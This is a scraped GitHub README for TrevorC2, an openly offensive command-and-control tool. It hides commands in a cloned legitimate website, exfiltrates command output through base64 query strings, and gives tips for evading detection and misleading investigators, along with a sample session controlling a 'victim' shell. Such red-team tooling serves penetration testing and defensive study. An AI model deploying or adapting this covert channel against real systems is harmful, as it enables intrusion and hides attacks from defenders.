Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?


TrevorC2 - Command and Control via Legitimate Behavior over HTTP

Written by: Dave Kennedy (@HackingDave) Website:

Note that this is a very early release - heavy randomization and encryption to be added soon.

TrevorC2 is a client/server model for masking command and control through a normally browsable website. Detection becomes much harder as time intervals are different and does not use POST requests for data exfil.

       ,  .'''''.  ...    ''''',  .'           
        ','     ,.MMMM;.;'      '.             
         ;;    ;MMMMMMMMM;     ;;'             
        :'M:  ;MMMMMMMMMMM;.  :M':             
        : M:  MMMMMMMMMMMMM:  :M  .           
       .' M:  MMMMMMMMMMMMM:  :M. ;           
       ; :M'  :MMMMMMMMMMMM'  'M: :           
       : :M: .;"MMMMMMMMM":;. ,M: :           
       :  ::,MMM;.M":::M.;MMM ::' :           
     ,.;    ;MMMMMM;:MMMMMMMM:    :,.         
     M':''':MMMMMMMMM;MMMMMMMM: "': M         
     M.:   ;MMMMMMMMMMMMMMMMMM;   : M         
     :::   MMMMMMMMMMM;MMMMMMMM   ::M         
    ,'';   MMMMMMMMMMMM:MMMMMMM   :'".         
  ,'   :   MMMMMMMMMMMM:MMMMMMM   :   '.       
 '     :  'MMMMMMMMMMMMM:MMMMMM   ;     '     
 ,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.     
 :MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:     
  MM:   :  MMMMMMMMMMMMM:MMMMMM  ,'  :MM       
  'MM   :  :MMMMMMMMMMMM:MMMMM:  :   ;M:       
   :M;  :  'MMMMMMMMMMMMMMMMMM'  :  ;MM       
   :MM. :   :MMMMMMMMMM;MMMMM:   :  MM:       
    :M: :    MMMMMMMMM'MMMMMM'   : :MM'       
    'MM :    "MMMMMMM:;MMMMM"   ,' ;M"         
     'M  :    ""''':;;;'''""    :  M:         
     ;'  :     "MMMMMMMM;."     :  "".         
   ,;    :      :MMMMMMM:;.     :    '.       
  :'     :    ,MM'''""''':M:    :     ';       
 ;'      :    ;M'         MM.   :       ;.     

There are two components to TrevorC2 - the client and the server. The client can be configured to be used with anything. In this example it's coded in Python but can easily be ported to C#, PowerShell, or whatever you want. Currently the supports Windows, MacOS, and Linux. You can always byte compile the Windows one to get an executable, but preference would be to use Windows without having to drop an executable as a stager.

The way that the server works is by tucking away a parameter thats right before the parameter. This is completely configurable, and it's recommended you configure everything to be unique in order to evade detection. Here is the workflow:

1. - edit the file first, and customize, what website you want to clone, etc. The server will clone a website of your choosing and stand up a server. This server is browsable by anyone and looks like a legitimate website. Contained within the source is parameter that (again is configurable), which contains the instructions for the client. Once a client connects, it searches for that parameter, then uses it to execute commands.
2. - all you need in any configurable option is the ability to call out to a website, parse some basic data, and then execute a command and then put the results in a base64 encoded query string parameter to the site. That's it, not hard. 
3. trevor2_client.ps1 - powershell implementation of, this allows you to use native PowerShell to interact with Trevor2_Server.


pip install -r requirements.txt


First edit the - change the configuration options and site to clone.


Next, edit the or ps1 - change the configuration and system you want it to communicate back to.

python or .\trevor2_client.ps1

Session Management

TrevorC2 supports the ability to handle multiple shells coming from different hostnames. The way TrevorC2 works is it will identify new hostnames as sessions. You can interact with the sessions once you execute a command. If you have multiple sessions, you can type a command and interact with that session based on the session number stored globally.

When first starting TrevorC2, you can type help or ? for additional information. Basic command usage is "list" which will list any active shells or none at all, or "interact <session_id>" to interact with the shell you want.

You can always type back/exit within a shell, it will still remain active and not actually kill the shell.

Example below:

root@stronghold:/home/relik/Desktop/git/trevorc2# python 

TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
[*] Cloning website:
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.

Trevor C2 shell

Documented commands (type help <topic>):
exit  help  interact  list  servercmd

trevorc2>help list
Description: Lists all available agents
Usage: list

No available Agents. :-(

*** Received connection from and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.

id  hostname                ip address        communication_sessionid
1   stronghold             pSNIRFgTuZnCdHN

trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>

trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
(HOSTNAME: stronghold
ens33     Link encap:Ethernet  HWaddr 00:0c:29:63:7c:67  
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
          RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:835091244 (835.0 MB)  TX bytes:2623070556 (2.6 GB)

lo        Link encap:Local Loopback  
          inet addr:  Mask:
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
          TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:211565776 (211.5 MB)  TX bytes:211565776 (211.5 MB)


trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig

trevorc2>servercmd hostname

[*] Exiting TrevorC2... 


Uses an alpine-based Dockerfile to deploy trevorC2, handy for quick deployment on cloud providers.
Example below:

git clone
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 . 
docker run -it -p 80:80 -p 443:443 trevorc2

Variables configuration

It is important to change the variables that are presented in each of the scripts. Especially the SITE_PATH_QUERY and encryption key. I would also recommend looking at the REDIRECT option. Instead of cloning a website, you have another option which will redirect the victim host that may be browsing the site to investigate to the legitimate site. Basically when someone visits the site, it'll just redirect them to the site you want cloned. Change the cloned site from google for example to a different site and turn redirect to ON.


Add ability for longer than 2048 data output. Query string parameter length limited size length.

Add do_POST support for POST exfil on longer data.

Add upload/download functionality.


TrevorC2 is a legitimate website (browsable) that tunnels client/server communications for covert command execution.







No packages published